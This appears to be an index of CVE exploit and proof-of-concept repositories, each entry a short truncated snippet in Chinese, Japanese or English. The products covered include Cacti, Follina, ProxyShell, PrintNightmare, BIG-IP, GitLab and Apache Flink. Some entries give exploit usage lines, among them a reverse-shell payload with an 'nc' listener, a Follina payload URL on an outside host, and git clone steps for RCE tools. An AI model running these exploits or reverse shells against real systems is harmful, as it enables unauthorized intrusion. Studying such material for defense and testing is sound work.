CVE-2022-46169

CVE-2022-46169 - Cacti 中的未认证远程代码执行 Cacti 是什么？其漏洞是什么？ Cacti 是一款用 PHP、MySQL/MariaDB 编写的开源运维监控工具，提供了友好的界面。 该漏洞于 2022 年被发现，影响 1.2.23 之前的所有版本。此漏洞需要将身份验证绕过与命令注入链接起来，才能实现 RCE（远程代码执行）。 实验环境搭建 在这篇 CVE 分析中，我将在 Docker 中运行 Cacti，并使用 VSCode 进行代码分析。环境搭建非常简单，首先我们需要一个 docker-compose.yaml 文件来创建新环境。下面是...

PHP_CVE-2012-1823

PHP-CGI リモートコード実行の脆弱性（CVE-2012-1823） 原理 参考記事 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 影響を受けるバージョン php 脆弱性の解説 PHP SAPI と実行モード まず、PHPの実行モードについて説明します。 PHPのソースコードをダウンロードすると、sapiというディレクトリがあるのがわかります。PHPにおけるsapiの役割は、メッセージの「伝達者」のようなものです。例えば、私が記事「Fastcgiプロトコル分析 && PHP-FPM未承認アクセス脆弱性 &&...

printix-CVE-2022-29551

CVE-2022-29551 （简易发布 | 打印友好）Kofax Printix 的 "Printix Secure Cloud Print Management"（版本 1.3.1156.0 及更低版本）中的 PrintixService.exe 存在一个"暴露危险方法或函数"漏洞，允许本地或远程攻击者安装恶意打印机驱动程序并通过 Printix 服务运行它们。攻击者可以利用此漏洞远程执行恶意驱动程序代码，从而将其权限提升至系统权限。...

CVE-2022-30190

CVE 30190 Amine TITROFINE | 2022年12月17日 Follina CVE-2022-30190 は、最近発見された Microsoft Office のゼロデイ脆弱性です。これは高深刻度の脆弱性であり、攻撃者はこれを利用してリモートコード実行 RCE 攻撃を行うことができます。この脆弱性は、Word などの呼び出し元アプリケーションから URL プロトコルを使用して MSDT...

CVE-2024-25641-CACTI-RCE-1.2.26

CVE-2024-25641 - Cacti 1.2.26 - 任意ファイル書き込みからRCEへ 🌵 認証済みRCE Cacti version v1.2.26 概要 「パッケージインポート」機能を介して悪用可能な任意ファイル書き込みの脆弱性により、「テンプレートのインポート」権限を持つ認証済みユーザーが、Webサーバー上で任意のPHPコードを実行（RCE）できます。 概念実証 使用方法 git clone https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26.git && cd...

CVE-2019-5418

CVE-2019-5418 - Rails におけるファイルコンテンツ開示 EDIT : このCVEはリモートコード実行（RCE）につながる可能性があります。詳細: https://github.com/mpgn/Rails-doubletap-RCE Action View には、ファイルコンテンツ開示の脆弱性が存在する可能性があります。 特別に細工された Accept ヘッダーと render file: の呼び出しを組み合わせることで、 対象サーバー上の任意のファイルがレンダリングされ、ファイルの内容が 開示される可能性があります。 影響は、accept...

CVE-2023-46747-RCE

脆弱性の詳細 fofa： title="BIG-IP" || iconhash="-335242539" shodan title:"BIG-IP" 影響を受けるバージョン https://my.f5.com/manage/s/article/K000137353 脆弱性の再現 1. 現時点では、ここでのユーザーは admin のみです: 2. スクリプトを実行します: git clone https://github.com/W01fh4cker/CVE-2023-46747-RCE.git cd CVE-2023-46747-RCE pip install -r...

EUVD-2026-95779

A service console interface on openPDC and openHistorian deserializes a client-supplied data structure. On systems using Windows Authentication, an attacker must already be authenticated to reach this function; on systems without Windows Authentication, this is reachable by an unauthenticated...

CVE-2026-100730

The Grid Protection Alliance openPDC and openHistorian software products contain a vulnerability in their service console interface. The flaw allows for the deserialization of untrusted data from a client-supplied data structure. On systems without Windows Authentication, an unauthenticated netwo...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php phprevshell.php の 7 行目の $ip を変更してください nc -lvnp 1234...

CVE-2021-34473

CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server 远程代码执行漏洞 复现 ProxyShell 漏洞利用 https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ 这不是你的网络武器，只是一个实验性 PoC...

Monitorizer

Monitorizer 究極のサブドメインモニタリングフレームワーク インストール ❗ 免責事項 --- 管理者ユーザーはローカルサーバー上でコードを実行できます。デフォルトのパスワードを変更してください。そうしないと、自己責任で使用することになります Dockerを使用 $ curl https://raw.githubusercontent.com/BitTheByte/Monitorizer/main/docker-compose.yml | docker compose -f - up デフォルトの認証情報:...

CVE-2025-4403

CVE-2025-4403 エクスプロイト 詳細 公開日 : 2025年5月8日 更新日 : 2025年5月9日 重大度 : 高 CVSSスコア: 9.8 CWE : CWE-434 - 危険なタイプのファイルの無制限アップロード 影響を受けるバージョン : n/a から 1.1.6 までの全バージョン CVSSベクトル CVSSバージョン : 9.8 ベクトル文字列 : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 説明 WordPress用WooCommerceプラグイン「Drag and Drop Multiple File...

CVE-2021-27850_POC

CVE-2021-27850 エクスプロイト 概要 CVE-2021-27850 は、Apache Tapestry のすべての最近のバージョンで見つかった重要な認証不要のリモートコード実行脆弱性です。AppModule.class ファイルをダウンロードすることで、Apache Tapestry 内のすべてのシリアル化オブジェクトの署名に使用される HMAC シークレットキーを漏洩させることができます。 私たちは実際のアセスメントでこの CVE に遭遇しました。私の知る限り、Tapestry がシリアル化オブジェクトに署名する方法に関する公開エクスプロイトは存在しなかったため、Apac...

CVE-2021-44228

概要 このリポジトリには、Apache Log4j 2 のリモートコード実行の脆弱性 CVE-2021-44228 に関連する侵害指標をハンティングするための OpenIOC ルールが含まれています。 これらのルールはハンティングルールと見なされており、そのため検出効果は組織によって異なります。環境に応じたチューニングを行うことで、これらのルールはアラートルールとしての展開に適する可能性があります。ルールは2つのカテゴリに分類されています: execution - このCVEに関連する可能性がある、システム上で 以前に実行された...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Impacket実装のPrintNightmare PoC、元はZhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370によって作成されました 完全にパッチ適用された2019ドメインコントローラでテスト済み 悪意のあるDLLをリモートまたはローカルで実行 パッチアップデート Microsoftはこれらの攻撃を緩和するパッチをリリースしましたが、以下の値がマシンに存在する場合、そのマシンは依然として脆弱です REG QUERY...

cve-2022-22947-spring-cloud-gateway

脆弱性の概要 Spring Cloud Gateway は、Spring Cloud の新しいプロジェクトであり、Spring 5.0、Spring Boot 2.0、Project Reactor などの技術に基づいて開発されたゲートウェイです。マイクロサービスアーキテクチャに、シンプルで効果的な統一APIルーティング管理方法を提供することを目的としています。 先日、Spring Cloud Gateway に致命的な RCE が発見されました。CVE CVE 情報によると、アプリケーションが Spring Cloud Gateway の Gateway Actuator endpoi...

CVE-2026-35194

CVE-2026-35194 — Apache Flink SQL 代码注入 通过 SQL 代码生成注入在 Apache Flink TaskManager 上实现远程代码执行。 | ---|--- CVE| CVE-2026-35194 CVSS| 8.1（高危） CWE| CWE-94 — 代码注入 受影响版本| Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 修复版本| 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 攻击面| SQL Gateway REST API（默认端口 8083，无认证） 快速开始 1. 部署漏洞实验环境...

CVE-2020-10977

GitLab v12.4.0-12.8.1 RCE 完全基于 https://github.com/dotPY-hax/gitlabRCE，但该工具对我来说无法正常工作，且其 HTML 解析部分显得繁琐，因此我用 JS 重写了它。 使用方法 按常规方式启动一个反向 Shell 监听器，然后运行此脚本： TARGETURI="https://target" TARGETEMAILDOMAIN="laboratory.htb" \ TARGETUSER="test" TARGETPASSWORD="Test pass 123" \ LOCALIP="10.10.14.142"...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Nee による概念実証 使用方法 python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" 動作内容 指定したペイロードURLを参照する悪意のあるWordファイルを作成します webフォルダにあるデフォルトのペイロードをホストします デフォルトではProof of Conceptで電卓calcがポップアップします 変更やプッシュは自由に行ってください :...